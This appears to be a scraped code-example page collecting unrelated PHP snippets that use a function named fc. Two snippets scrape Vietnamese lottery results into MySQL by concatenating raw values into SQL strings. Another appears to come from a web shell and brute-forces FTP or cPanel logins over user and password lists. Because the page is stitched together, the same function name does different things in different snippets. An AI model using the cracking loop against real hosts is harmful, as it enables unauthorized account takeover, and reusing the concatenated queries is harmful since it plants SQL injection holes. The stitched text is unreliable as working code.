Пример #1
0
    $giai6 = fc($result[0][0], '6');
    $giai6 = explode(' - ', $giai6);
    preg_match_all('/<td class="giai5">(.*?)<\\/td>/', $table, $result);
    $giai5 = fc($result[0][0], '5');
    preg_match_all('/<td class="giai4">(.*?)<\\/td>/', $table, $result);
    $giai4 = fc($result[0][0], '4');
    $giai4 = explode(' - ', $giai4);
    preg_match_all('/<td class="giai3">(.*?)<\\/td>/', $table, $result);
    $giai3 = fc($result[0][0], '3');
    $giai3 = explode(' - ', $giai3);
    preg_match_all('/<td class="giai2">(.*?)<\\/td>/', $table, $result);
    $giai2 = fc($result[0][0], '2');
    preg_match_all('/<td class="giai1">(.*?)<\\/td>/', $table, $result);
    $giai1 = fc($result[0][0], '1');
    preg_match_all('/<td class="giaidb">(.*?)<\\/td>/', $table, $result);
    $db = fc($result[0][0], 'db');
    preg_match_all('/<td class="ngay">(.*?)<\\/td>/', $table, $result);
    $loaive = str_replace('</td>', '', str_replace('<td class="ngay">Lo&aacute;&ordm;&iexcl;i v&eacute;:', '', $result[0][0]));
    $loaive = trim($loaive);
    preg_match_all('/(\\d{2})\\/(\\d{2})\\/(\\d{4})/', $dateexp[0], $result);
    $ngay = str_replace("/", "-", $result[0][0]);
    $query = "INSERT INTO `kqxs_nam` (`date`, `provice`, `loaive`, `image`, `db`, `nhat`, `nhi`, `ba1`, `ba2`, `tu1`, `tu2`, `tu3`, `tu4`, `tu7`, `tu5`, `tu6`, `nam`, `sau1`, `sau2`, `sau3`, `bay`, `tam`) ";
    $query .= "VALUES ('" . $ngay . "', '" . $item . "', '" . $loaive . "', '', '" . $db . "', '" . $giai1 . "', '" . $giai2 . "', '" . $giai3[0] . "', '" . $giai3[1] . "', '" . $giai4[0] . "', '" . $giai4[1] . "', '" . $giai4[2] . "', '" . $giai4[3] . "', '" . $giai4[4] . "', '" . $giai4[5] . "', '" . $giai4[6] . "', '" . $giai5 . "', '" . $giai6[0] . "', '" . $giai6[1] . "', '" . $giai6[2] . "', '" . $giai7 . "', '" . $giai8 . "')";
    echo $nam[$item] . ' : ' . $query . "<br>";
    $result = mysql_query($query);
    if ($result) {
        echo $nam[$item] . " : ok <br>";
    } else {
        echo $nam[$item] . " : false <br>";
    }
}
         rs('cmds', '141', '22', $st = 'readonly');
         $us = explode("\n", $us);
         $pa = explode("\n", $pa);
         echo "Crack Type:&nbsp;" . $_REQUEST['crt'] . "\n[~] Cracking Process Started, Please Wait ...\n";
         if ($sit == "") {
             $sit = "localhost";
         }
         if ($prt == "") {
             $prt = "2082";
         }
         foreach ($us as $u) {
             $usr = trim($u);
             foreach ($pa as $p) {
                 $pwd = trim($p);
                 if ($crt == "FTP") {
                     echo fc($sit, $usr, $pwd, $tl);
                 }
                 if ($crt == "Cpanel") {
                     echo cc($sit, $prt, $usr, $pwd, $tl);
                 }
             }
         }
         echo "\n[~] Cracking Process Done!\n";
         echo "</textarea>";
         unset($crcf);
     }
     break;
 case isset($_REQUEST['dhtc']):
     $ctc = htmlspecialchars($_POST['htc']);
     $clc = htmlspecialchars($_POST['mhtc']);
     rs('cmds', '141', '22', $st = 'readonly');
Пример #3
0
    $giai6 = explode(' - ', $giai6);
    preg_match_all('/<td class="giai5">(.*?)<\\/td>/', $table, $result);
    $giai5 = fc($result[0][0], '5');
    $giai5 = explode(' - ', $giai5);
    preg_match_all('/<td class="giai4">(.*?)<\\/td>/', $table, $result);
    $giai4 = fc($result[0][0], '4');
    $giai4 = explode(' - ', $giai4);
    preg_match_all('/<td class="giai3">(.*?)<\\/td>/', $table, $result);
    $giai3 = fc($result[0][0], '3');
    $giai3 = explode(' - ', $giai3);
    preg_match_all('/<td class="giai2">(.*?)<\\/td>/', $table, $result);
    $giai2 = fc($result[0][0], '2');
    $giai2 = explode(' - ', $giai2);
    preg_match_all('/<td class="giai1">(.*?)<\\/td>/', $table, $result);
    $giai1 = fc($result[0][0], '1');
    preg_match_all('/<td class="giaidb">(.*?)<\\/td>/', $table, $result);
    $giaidb = fc($result[0][0], 'db');
    preg_match_all('/<td class="ngay">(.*?)<\\/td>/', $table, $result);
    $loaive = str_replace('</td>', '', str_replace('<td class="ngay">						Ng&agrave;y:', '', $result[0][0]));
    $ngay = trim($loaive);
    $ngay = str_replace("/", "-", $ngay);
    $query = "INSERT INTO `kqxs_bac` (`date`, `provice`, `image`, `db`, `nhat`, `nhi1`, `nhi2`, `ba1`, `ba2`, `ba3`, `ba4`, `ba5`, `ba6`, `tu1`, `tu2`, `tu3`, `tu4`, `nam1`, `nam2`, `nam3`, `nam4`, `nam5`, `nam6`, `sau1`, `sau2`, `sau3`, `bay1`, `bay2`, `bay3`, `bay4`) ";
    $query .= "VALUES ('" . $ngay . "', '" . $item . "', '', '" . $giaidb . "', '" . $giai1 . "', '" . $giai2[0] . "', '" . $giai2[1] . "', '" . $giai3[0] . "', '" . $giai3[1] . "', '" . $giai3[2] . "', '" . $giai3[3] . "', '" . $giai3[4] . "', '" . $giai3[5] . "', '" . $giai4[0] . "', '" . $giai4[1] . "', '" . $giai4[2] . "', '" . $giai4[3] . "', '" . $giai5[0] . "', '" . $giai5[1] . "', '" . $giai5[2] . "', '" . $giai5[3] . "', '" . $giai5[4] . "', '" . $giai5[5] . "', '" . $giai6[0] . "', '" . $giai6[1] . "', '" . $giai6[2] . "', '" . $giai7[0] . "', '" . $giai7[1] . "', '" . $giai7[2] . "', '" . $giai7[3] . "')";
    echo $bac[$item] . ' : ' . $query . "<br>";
    $result = mysql_query($query);
    if ($result) {
        echo $bac[$item] . " : ok <br>";
    } else {
        echo $bac[$item] . " : false <br>";
    }
}
Пример #4
0
<?php

function fa($read1, &$written1)
{
}
function fb($read2a, &$written2a)
{
}
function fc($read3a, &$written3a)
{
}
fa($r1->a, $w1->b);
fb($r2->a, $w2->b);
fc($r3->a, $w3->b);